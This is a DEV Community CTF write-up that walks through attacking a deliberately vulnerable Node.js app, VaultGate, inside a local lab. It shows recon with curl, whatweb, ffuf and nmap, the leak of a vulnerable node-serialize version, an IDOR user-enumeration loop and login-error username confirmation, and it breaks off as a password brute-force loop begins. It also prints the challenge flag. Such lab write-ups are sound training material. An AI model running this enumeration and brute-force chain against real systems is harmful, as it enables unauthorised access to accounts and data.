Hacking VaultGate: Three Paths to One Flag
DEV Community

Hacking VaultGate: Three Paths to One Flag

Target: http://192.168.122.1:3000 - a local Docker deployment of VaultGate on my lab network (your target IP will differ). Download VaultGate: it's open-source - grab it and spin up your own copy in one command (see Section 8): https://github.com/todorslavovv/three-paths-ctf Rig: a Kali Linux VM attacking the target across a private network. The app runs in a disposable Docker container. The flag (the prize): CTF{vaultgate_three_paths_one_flag} - a string hidden on the server. Recovering it is the objective. Stack: Node.js + Express + SQLite, with a chatbot called VaultBot. Every screenshot is the Kali terminal and nothing else - the exact command typed and the response that came back. A note on the setup: I run VaultGate locally in Docker and attack it from a Kali VM on the same private network - the safe way to practise on a deliberately-vulnerable app (it has real, unauthenticated RCE; keep it off the public internet). Every screenshot is that local run. If you'd rather host it on a platform like Railway, Section 9 covers exactly what changes (a proxy in front, no useful nmap, no reverse shells, a different helper port). The vulnerabilities themselves are the app's own and behave identically either way - so follow the method, not the hostname. Quick reference: - CTF (Capture The Flag) - a security game: recover the hidden flag string. - Recon - reconnaissance: mapping the target before attacking. - HTTP status codes - the server's short replies: 200 = OK, 302 = redirect, 401 = unauthorized, 404 = not found. - Cookie - a token the server sets so it recognises you on later requests. - RCE (Remote Code Execution) - getting the server to run a command of our choosing. The goal of Paths 1 and 2. 1. The plan - how a pentest flows A penetration test runs the same loop every engagement: Recon -> Enumeration -> Research -> Exploitation -> Flag VaultGate exposes three independent ways in, plus a bonus fourth. You only need one - I'll show all of them: - Path 1 - Guess the admin password, open the maintenance console, and pivot through a hidden helper service to read the flag file. - Path 2 - Abuse an outdated dependency to run a command without logging in at all. - Path 3 - Talk the site's chatbot into leaking the secret. - Bonus - Coerce the search box into dumping the database. 2. Recon - fingerprint the target before touching anything Recon first. Every finding below narrows the attack surface before a single password is tried. 2.1 Ask the server who it is (curl -sSI ) curl with a few flags: - -s = silent (suppress the progress meter) - -S = still surface errors (paired with-s ) - -I = headers only. Headers are the metadata the server attaches to every reply - server software, content length, and so on. The command: curl -sSI http://192.168.122.1:3000/ | head -n 20 (head -n 20 keeps the output to the first 20 lines.) What came back: HTTP/1.1 200 OK X-Powered-By: Express Server: VaultGate/1.2.0 Content-Type: text/html; charset=utf-8 Content-Length: 15236 Date: Sat, 12 Sep 2026 06:44:17 GMT Connection: keep-alive Keep-Alive: timeout=5 Reading it: - HTTP/1.1 200 OK - the site is up. - Server: VaultGate/1.2.0 - the app names itself and its exact version. That version number is a lead to research (see 2.4). - X-Powered-By: Express - the app runs on Express.js, so that's the bug class to research. 2.2 Cross-check with WhatWeb (whatweb ) whatweb reads both headers and page content and infers the tech stack - a second opinion on the fingerprint from 2.1. Disagreements between the two are worth chasing. The command: whatweb http://192.168.122.1:3000/ What came back (color codes stripped): http://192.168.122.1:3000/ [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[VaultGate/1.2.0], IP[192.168.122.1], Script, Title[Home - VaultGate], X-Powered-By[Express] Reading it: everything lines up with 2.1 - HTTPServer[VaultGate/1.2.0] , Express, page titled "Home - VaultGate". Country[RESERVED] just reflects the private lab IP. No contradictions, so we move on. 2.3 Read the map they hand you (robots.txt ) robots.txt tells search engines which paths to skip - admin panels, APIs, and so on. For an attacker that's a curated list of the interesting places, retrieved with one quiet request. The command: curl -s http://192.168.122.1:3000/robots.txt What came back: User-agent: * Disallow: /admin Disallow: /api Disallow: /internal Disallow: /terminal Four leads, and every one turns out real: - /admin - the admin panel (users list, logs, console link). Locked, but confirmed to exist β†’ Path 1. - /api - the data API (user records + status info) β†’ Paths 1 and 2. - /terminal - the maintenance console (a restricted shell) β†’ Path 1's pivot. - /internal - a hint that a hidden internal service exists β†’ the loopback helper in Path 1. 2.4 The version leak that seeds Path 2 (/api/status ) Health endpoints like /status often over-share - including exact dependency versions. An exact version turns bug-hunting into a catalog lookup (CVEs). The command: curl -s http://192.168.122.1:3000/api/status | python3 -m json.tool (The response is JSON; python3 -m json.tool just pretty-prints it.) What came back: { "service": "VaultGate", "status": "ok", "version": "1.2.0", "runtime": "node v20.20.2", "environment": "production", "dependencies": { "express": "^4.21.0", "express-session": "^1.18.0", "better-sqlite3": "^11.3.0", "bcryptjs": "^2.4.3", "node-serialize": "0.0.4" }, "notes": "Client theme preferences are restored from the vg_prefs cookie via the preferences engine." } The single most valuable recon finding of the project: - "node-serialize": "0.0.4" - this exact version carries CVE-2017-5941, an insecure-deserialization bug that yields code execution. On its own, that's Path 2. - "notes" points straight at where it's reachable: thevg_prefs cookie, which the server deserialises on every visit - including from users who never logged in. - "version": "1.2.0" matches theServer: VaultGate/1.2.0 banner from 2.1. 2.5 Confirm the map with directory fuzzing (ffuf ) robots.txt gave hints; fuzzing checks for anything it left out - throwing thousands of common path names at the server and keeping the ones that respond. The command: ffuf -u http://192.168.122.1:3000/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 20 (FUZZ marks the injection point. -w is the wordlist. -mc filters by status code. -t sets threads.) Results, grouped by status code: - 200 (public): / ,/login ,/register ,/search ,/robots.txt - 302 (redirect to login = gated, therefore interesting): /admin ,/dashboard ,/documents ,/profile ,/terminal ,/logout - 301 (static folders): /assets ,/css ,/js A 302 isn't a dead end - it's "there's something here, authenticate first." Nothing new surfaced beyond robots.txt , so the map is confirmed. 2.6 Port-scan the host (nmap ) Because the target is a plain host on the network (no proxy in front), a port scan is worthwhile. Scope it to the app's port so the scan stays clean and fast. The command: nmap -p 3000 -sC -sV 192.168.122.1 What came back: PORT STATE SERVICE VERSION 3000/tcp open http Node.js Express framework | http-server-header: VaultGate/1.2.0 | http-robots.txt: 4 disallowed entries |_/admin /api /internal /terminal |_http-title: Home - VaultGate Reading it: nmap confirms Express + VaultGate/1.2.0 and even echoes robots.txt. Note what is not here: there's no sign of the internal diagnostics helper. That service is bound to loopback (127.0.0.1 ) inside the container, so no external scan will ever see it - which is exactly why Path 1 has to pivot through the console to reach it (Section 3.5). 3. Path 1 - Steal the admin password, hijack the console, grab the flag Find the admin's username β†’ confirm it β†’ recover the password from a list β†’ log in β†’ open the maintenance console β†’ find a hidden helper service β†’ use it to read the flag file. Six links in a chain - which is what real engagements look like; there's rarely a single button. 3.1 List users without logging in (IDOR - GET /api/users/:id ) IDOR (Insecure Direct Object Reference): the server serves records by ID (/api/users/1 , /api/users/2 …) without checking who's asking. So an unauthenticated request can walk 1 through 5 and read every profile - including the admin's username. The command: for i in 1 2 3 4 5; do echo "=== /api/users/$i ==="; curl -s http://192.168.122.1:3000/api/users/$i; echo; done Users 1, 2, 3, 5 are regular employees. User 4 is the target: {"id":4,"username":"administrator","displayName":"VaultGate Administrator","email":"a****@vaultgate.local","department":"Administration","role":"admin"} Target username: administrator. 3.2 Confirm the username (login error messages) The login endpoint leaks state: it returns different errors for "unknown user" versus "known user, wrong password." That confirms administrator exists in two requests, before any brute force: - Made-up name β†’ Unknown username - administrator + wrong password β†’Incorrect password (the name is valid) The commands: curl -s -X POST http://192.168.122.1:3000/login --data-urlencode username=nosuchuser123 --data-urlencode password=x | grep -o "Unknown username" curl -s -X POST http://192.168.122.1:3000/login --data-urlencode username=administrator --data-urlencode password=wrong | grep -o "Incorrect password" (-X POST sends form data; --data-urlencode encodes each field; grep -o pulls the one phrase out of the HTML.) What came back: Unknown username for the fake account, Incorrect password for the admin. Username confirmed - only the password is left. A hardened app returns one generic error (Invalid credentials ) for both cases (see the fixes section). 3.3 Recover the password from a list (brute force β†’ winter2024 ) The password is weak enough to sit in the provided 45-word list (ctf-wordlist.txt ), and there's no lockout. Success is easy to detect: the server returns 401 on every miss and a 302 redirect to /dashboard on the hit. The loop watches for that 302. The command: while read -r p; do c=$(curl -

Read on DEV Community ↗ ← Back to News

Comments

No comments yet. Start the discussion.